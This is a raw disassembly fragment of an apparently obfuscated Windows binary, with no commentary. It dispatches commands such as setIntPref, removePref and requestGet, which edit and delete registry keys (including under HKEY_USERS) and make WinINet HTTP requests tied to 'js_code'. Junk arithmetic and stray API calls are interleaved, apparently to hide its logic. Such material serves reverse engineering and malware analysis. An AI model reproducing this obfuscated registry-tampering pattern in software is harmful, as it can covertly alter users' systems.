add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006472f
mov rdx, qword [rsp + 0x5a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x240]
test rbx, rbx
je 0x1400648d1
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0x1030], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xa98], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdb8], rdx
lea rcx, [rsp + 0x2f0]
call fcn.1400030b0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xaa8], rax
lea rdx, [0x1401525d0]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xfa8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xab8], rdx
lea rcx, [rsp + 0x3d8]
call fcn.1400030b0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xdc8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xac8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1018], rdx
lea rcx, [rsp + 0x2e0]
call fcn.1400030b0
nop
mov r9, rbx
lea r8, [rsp + 0x2f0]
lea rdx, [rsp + 0x3d8]
lea rcx, [rsp + 0x2e0]
call fcn.140049af0
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x2e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064870
mov rdx, qword [rsp + 0x5b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400648a1
mov rdx, qword [rsp + 0x5c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064a90
mov rdx, qword [rsp + 0x5d0]
jmp 0x140064a87
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xad8], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xdd8], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xae8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfb8], rdx
lea rcx, [rsp + 0x3f0]
call fcn.1400030b0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xaf8], rax
lea rdx, [0x1401525d0]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xde8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb08], rdx
lea rcx, [rsp + 0x300]
call fcn.1400030b0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0x1038], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xb18], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdf8], rdx
lea rcx, [rsp + 0x380]
call fcn.1400030b0
nop
lea rdx, [0x14014c7f8]
lea rcx, [rsp + 0x5e0]
call fcn.140002110
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401bed48]
lea r8, [rsp + 0x3f0]
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x380]
call fcn.140049730
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x380]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064a2f
mov rdx, qword [rsp + 0x5f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x300]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x600], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064a60
mov rdx, qword [rsp + 0x600]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x610], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064a90
mov rdx, qword [rsp + 0x610]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x140067628
movzx eax, byte [rsp + 0x50]
neg al
sbb cx, cx
mov word [r14 + 8], cx
mov r12d, 0xb
mov word [r14], r12w
jmp 0x140067628
lea rdx, str.setIntPref
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
jne 0x140065019
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xb28], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xfc8], rax
cmp byte [rax + 8], 4
jne 0x140067628
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xb38], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xe08], rax
cmp byte [rax + 8], 4
jne 0x140067628
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xb48], rax
lea rdx, [0x1401525d0]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x1028], rax
movzx ecx, byte [rax + 8]
lea eax, [rcx - 1]
cmp al, 2
jbe 0x140064b88
cmp cl, 5
jne 0x140067628
mov byte [rsp + 0x52], 0
mov qword [rsp + 0x250], rdi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xb58], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140039930
mov qword [rsp + 0xe18], rax
cmp rax, r12
je 0x140064e79
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xb68], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xfd8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb78], rdx
lea rcx, [rsp + 0x310]
call fcn.1400030b0
nop
mov r8d, dword [0x1401c3d80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 0xa
jne 0x140064c4c
dec r8d
mov dword [0x1401c3d80], r8d
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x250], rbx
call fcn.140061c20
test al, al
jne 0x140064cb9
mov dword [rsp + 0x1b0], edi
mov ecx, dword [0x1401c3d80]
nop
mov eax, 0x60f25deb
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xa9
mov eax, ecx
sub eax, edx
cmp eax, 0xd0
je 0x140064cb3
mov eax, ecx
or eax, 0xffffffd4
add ecx, eax
mov dword [0x1401c3d80], ecx
inc edi
mov dword [rsp + 0x1b0], edi
mov eax, ecx
imul eax, ecx
cmp edi, eax
jg 0x140064cb3
jmp 0x140064c70
mov dword [0x1401c3d80], edi
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x310]
call fcn.140003510
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x250], rbx
mov rcx, qword [rsp + 0x310]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x620], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064d12
mov rdx, qword [rsp + 0x620]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x250]
test rbx, rbx
je 0x140064e79
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xe28], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xb88], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1008], rdx
lea rcx, [rsp + 0x320]
call fcn.1400030b0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xb98], rax
lea rdx, [0x1401525d0]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xe38], rax
mov rcx, rax
call fcn.1400390c0
mov dword [rsp + 0x1b8], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xba8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xfe8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbb8], rdx
lea rcx, [rsp + 0x390]
call fcn.1400030b0
nop
mov r9, rbx
lea r8, [rsp + 0x320]
lea rdx, [rsp + 0x1b8]
lea rcx, [rsp + 0x390]
call fcn.140049c40
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x390]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x630], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064e49
mov rdx, qword [rsp + 0x630]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x320]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x640], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064ff2
mov rdx, qword [rsp + 0x640]
jmp 0x140064fe9
lea rax, [rsp + 0x650]
mov qword [rsp + 0xe48], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xbc8], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x1010], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbd8], rdx
lea rcx, [rsp + 0x330]
call fcn.1400030b0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xe58], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xbe8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xff8], rdx
lea rcx, [rsp + 0x3e0]
call fcn.1400030b0
nop
lea rdx, [0x14014c7f8]
lea rcx, [rsp + 0x650]
call fcn.140002110
mov rbx, rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xbf8], rax
lea rdx, [0x1401525d0]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xe68], rax
mov rcx, rax
call fcn.1400390c0
mov edx, eax
mov qword [rsp + 0x20], rbx
mov r9, qword [0x1401bed48]
lea r8, [rsp + 0x330]
lea rcx, [rsp + 0x3e0]
call fcn.14004a730
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x3e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x660], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064fc2
mov rdx, qword [rsp + 0x660]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x330]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x670], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064ff2
mov rdx, qword [rsp + 0x670]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x140067628
movzx eax, byte [rsp + 0x52]
neg al
sbb cx, cx
mov word [r14 + 8], cx
mov r12d, 0xb
mov word [r14], r12w
jmp 0x140067628
lea rdx, str.removePref
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
jne 0x14006573f
mov ecx, dword [0x1401c3d80]
imul ecx, ecx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0x16
jne 0x1400650a8
mov eax, 0x61
mov dword [rsp + 0x2ac], eax
mov r8d, 0xc2
mov dword [rsp + 0x1c0], r8d
test eax, eax
je 0x14006509f
test r8d, r8d
je 0x14006509f
mov ecx, r8d
mov dword [rsp + 0x498], ecx
cdq
idiv r8d
mov r8d, edx
mov dword [rsp + 0x1c0], edx
mov eax, ecx
mov dword [rsp + 0x2ac], ecx
jmp 0x140065073
add eax, r8d
mov dword [0x1401c3d80], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xc08], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x1020], rax
cmp byte [rax + 8], 4
jne 0x140067628
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xc18], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140039930
mov qword [rsp + 0xe78], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
cmp rax, r12
je 0x14006553b
call fcn.140039730
mov qword [rsp + 0xc28], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xf88], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc38], rdx
lea rcx, [rsp + 0x270]
call fcn.1400030b0
nop
mov rbx, qword [r13 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x270]
call fcn.140003510
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xe88], rbx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xc48], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xf90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc58], rdx
lea rax, [rsp + 0x260]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0xf0], eax
test eax, eax
je 0x1400652d5
test r14, r14
je 0x14006520c
mov dword [r14 + 8], eax
mov eax, 0x16
mov word [r14], ax
mov rcx, qword [rsp + 0x270]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x680], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006523d
mov rdx, qword [rsp + 0x680]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x690], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006526b
mov rdx, qword [rsp + 0x690]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5358], 0x10
jb 0x140065283
mov rcx, qword [rsp + 0x5340]
call fcn.1400cdaa0
mov qword [rsp + 0x5358], 0xf
mov qword [rsp + 0x5350], rdi
mov byte [rsp + 0x5340], 0
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov r15d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140067770
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xe98], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xc68], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf80], rdx
lea rcx, [rsp + 0x3a0]
call fcn.1400030b0
nop
mov rdx, qword [rsp + 0x3a0]
mov eax, dword [rdx - 0x10]
mov dword [rsp + 0x884], eax
mov rcx, qword [rsp + 0x260]
test eax, eax
jne 0x1400653e9
lea rdx, [0x14014c7f8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov r9d, eax
mov dword [rsp + 0xf0], eax
test eax, eax
jne 0x14006539b
mov eax, dword [0x1401c3d80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
and ecx, 0x8000000f
jge 0x140065378
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 0xa
jne 0x140065487
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
jmp 0x140065487
mov r8d, dword [0x1401c3d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, 5
jne 0x1400653ce
dec r8d
mov dword [0x1401c3d80], r8d
test r14, r14
je 0x14006549b
mov dword [r14 + 8], r9d
mov eax, 0x16
mov word [r14], ax
jmp 0x14006549b
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ebx, eax
mov dword [rsp + 0xf0], eax
test eax, eax
je 0x140065487
mov r8d, dword [0x1401c3d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 1
jne 0x140065473
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x2f4
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400cd108
mov qword [rsp + 0xc78], rax
mov rcx, rax
call fcn.1400cebfc
test r14, r14
je 0x14006549b
mov dword [r14 + 8], ebx
mov eax, 0x16
mov word [r14], ax
jmp 0x14006549b
test r14, r14
je 0x14006549b
mov word [r14 + 8], si
mov r12d, 0xb
mov word [r14], r12w
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rsp + 0x3a0]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x270]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
cmp qword [rsp + 0x5358], 0x10
jb 0x1400654e9
mov rcx, qword [rsp + 0x5340]
call fcn.1400cdaa0
mov qword [rsp + 0x5358], 0xf
mov qword [rsp + 0x5350], rdi
mov byte [rsp + 0x5340], 0
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov r15d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140067770
call fcn.140039730
mov qword [rsp + 0xea8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xc88], rax
cmp byte [rax + 8], 4
jne 0x14006565d
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xfb0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xc98], rax
mov rdx, qword [rax]
mov qword [rsp + 0xeb8], rdx
lea rcx, [rsp + 0x350]
call fcn.1400030b0
nop
lea rdx, [0x14014c7f8]
lea rcx, [rsp + 0x400]
call fcn.140002110
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xca8], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xfc0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x898], rdx
lea rcx, [rsp + 0x340]
call fcn.1400030b0
nop
lea r8, [rsp + 0x350]
lea rdx, [rsp + 0x400]
lea rcx, [rsp + 0x340]
call fcn.140048e80
movzx ebx, al
mov byte [rsp + 0x7b], al
lea rcx, [rsp + 0x340]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x400]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x350]
jmp 0x140065718
lea rdx, [0x14014c7f8]
lea rcx, [rsp + 0x2b8]
call fcn.140002110
nop
lea rdx, [0x14014c7f8]
lea rcx, [rsp + 0x360]
call fcn.140002110
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0x8a0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x8b0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x8c0], rdx
lea rcx, [rsp + 0x3b0]
call fcn.1400030b0
nop
lea r8, [rsp + 0x2b8]
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x3b0]
call fcn.140048e80
movzx ebx, al
mov byte [rsp + 0x7b], al
lea rcx, [rsp + 0x3b0]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x360]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x2b8]
call fcn.1400021b0
test r14, r14
je 0x140067628
neg bl
sbb ax, ax
mov word [r14 + 8], ax
mov r12d, 0xb
mov word [r14], r12w
jmp 0x140067628
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
je 0x1400669e2
lea rdx, str.getChildKeys
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
je 0x1400669e2
lea rdx, str.requestGet
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
jne 0x140065d6a
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov r15d, 1
mov edx, r15d
lea rcx, [0x14014c7f8]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
mov qword [rsp + 0x8d0], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0x8e0], rax
lea rdx, [0x14014fea0]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x8f0], rax
cmp byte [rax + 8], 4
jne 0x140065ce7
test r12, r12
je 0x140065ce7
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0x900], rax
lea rdx, [0x14014fea0]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x910], rax
lea rdx, [rsp + 0x5550]
mov rcx, rax
call fcn.140038e30
mov qword [rsp + 0x920], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006584a
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x98]
call fcn.1400030b0
nop
lea rcx, [rsp + 0x5550]
call fcn.1400013b0
xor r8d, r8d
lea rdx, str.error
lea rcx, [rsp + 0x98]
call fcn.14000fb40
mov ebx, eax
mov dword [rsp + 0x27c], eax
test eax, eax
jle 0x140065943
add ebx, 6
mov dword [rsp + 0x27c], ebx
mov edx, 0x26
mov rcx, qword [rsp + 0x98]
call fcn.1400d0438
mov qword [rsp + 0x930], rax
test rax, rax
jne 0x1400658bd
mov eax, esi
jmp 0x1400658c8
sub rax, qword [rsp + 0x98]
sar rax, 1
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x98]
call fcn.14000fb90
mov qword [rsp + 0x940], rax
mov rdx, rax
lea rcx, [rsp + 0x98]
call fcn.140002230
nop
lea rcx, [rsp + 0x6a0]
call fcn.1400021b0
lea rdx, str.js_code
lea rcx, [rsp + 0x2c8]
call fcn.1400030b0
nop
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0x98]
call fcn.14001d040
nop
lea rcx, [rsp + 0x2c8]
call fcn.1400021b0
xor edx, edx
lea rcx, [rsp + 0x410]
call fcn.140038980
nop
lea rdx, [0x14014fed0]
lea rcx, [rsp + 0xec0]
call fcn.140038a40
nop
lea rdx, [0x14014fed4]
lea rcx, [rsp + 0x410]
call fcn.140039730
mov rcx, rax
lea rdx, [rsp + 0xec0]
call fcn.140038da0
nop
lea rcx, [rsp + 0xec0]
call fcn.140038cf0
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0x950], rax
lea rdx, [0x14014fea0]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x960], rax
lea rdx, [rsp + 0x5570]
mov rcx, rax
call fcn.140038e30
nop
mov rdx, rax
lea rcx, [rsp + 0xee0]
call fcn.140038ad0
nop
lea rdx, [0x14014fea0]
lea rcx, [rsp + 0x410]
call fcn.140039730
mov rcx, rax
lea rdx, [rsp + 0xee0]
call fcn.140038da0
nop
lea rcx, [rsp + 0xee0]
call fcn.140038cf0
nop
lea rcx, [rsp + 0x5570]
call fcn.1400013b0
mov r8d, dword [0x1401c3d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xb
jne 0x140065a84
mov ecx, edi
mov dword [rsp + 0x170], ecx
movsxd rax, ecx
cmp rax, 0x108
jae 0x140065a84
mov eax, dword [rsp + rax*4 + 0x5640]
imul eax, eax, 0x6d
add r8d, eax
mov dword [0x1401c3d80], r8d
inc ecx
jmp 0x140065a5a
lea rdx, [0x14014fedc]
lea rcx, [rsp + 0xf00]
call fcn.140038a40
nop
lea rdx, str.acceptedStatusCodes
lea rcx, [rsp + 0x410]
call fcn.140039730
mov rcx, rax
lea rdx, [rsp + 0xf00]
call fcn.140039a50
nop
lea rcx, [rsp + 0xf00]
call fcn.140038cf0
lea rdx, [0x14014fef4]
lea rcx, [rsp + 0xf20]
call fcn.140038a40
nop
lea rdx, str.acceptTypes
lea rcx, [rsp + 0x410]
call fcn.140039730
mov rcx, rax
lea rdx, [rsp + 0xf20]
call fcn.140038da0
nop
lea rcx, [rsp + 0xf20]
call fcn.140038cf0
mov eax, dword [0x1401c3d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 0x10
jne 0x140065b45
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1401c3d80], eax
lea rdx, str.Accept_Encoding:_gzip__deflate_r_n
lea rcx, [rsp + 0xf40]
call fcn.140038a40
nop
lea rdx, str.additionalRequestHeaders
lea rcx, [rsp + 0x410]
call fcn.140039730
mov rcx, rax
lea rdx, [rsp + 0xf40]
call fcn.140038da0
nop
lea rcx, [rsp + 0xf40]
call fcn.140038cf0
mov qword [rsp + 0x6b0], rdi
lea r9, [rsp + 0x410]
lea r8, [rsp + 0x6b0]
mov rdx, r12
lea rcx, [rsp + 0xf60]
call fcn.14002e3d0
nop
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r14, r14
je 0x140065cb9
lea rax, vtable.Json::Writer.0
mov qword [rsp + 0x53a0], rax
lea rax, vtable.Json::FastWriter.0
mov qword [rsp + 0x53a0], rax
mov qword [rsp + 0x53b8], rdi
mov qword [rsp + 0x53c0], rdi
mov qword [rsp + 0x53c0], 0xf
mov qword [rsp + 0x53b8], rdi
mov byte [rsp + 0x53a8], 0
mov byte [rsp + 0x53c8], 0
lea r8, [rsp + 0xf60]
lea rdx, [rsp + 0x5530]
lea rcx, [rsp + 0x53a0]
call fcn.14003bff0
mov qword [rsp + 0x970], rax
cmp qword [rax + 0x18], 0x10
jb 0x140065c48
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x2d8]
call fcn.1400030b0
nop
lea rcx, [rsp + 0x5530]
call fcn.1400013b0
mov rcx, qword [rsp + 0x2d8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4a8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x980], rax
test rax, rax
jne 0x140065c90
call fcn.1400024a0
mov qword [r14 + 8], rax
mov eax, 8
mov word [r14], ax
lea rcx, [rsp + 0x2d8]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x53a0]
call fcn.14000af00
nop
lea rcx, [rsp + 0xf60]
call fcn.140038cf0
nop
lea rcx, [rsp + 0x410]
call fcn.140038cf0
nop
lea rcx, [rsp + 0x98]
call fcn.1400021b0
jmp 0x140067628
test r14, r14
je 0x140065cfb
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
cmp qword [rsp + 0x5358], 0x10
jb 0x140065d1e
mov rcx, qword [rsp + 0x5340]
call fcn.1400cdaa0
mov qword [rsp + 0x5358], 0xf
mov qword [rsp + 0x5350], rdi
mov byte [rsp + 0x5340], 0
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov rdi, qword [rsp + 0x40]
jmp 0x140067774
lea rdx, str.NVP_IsSupported
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
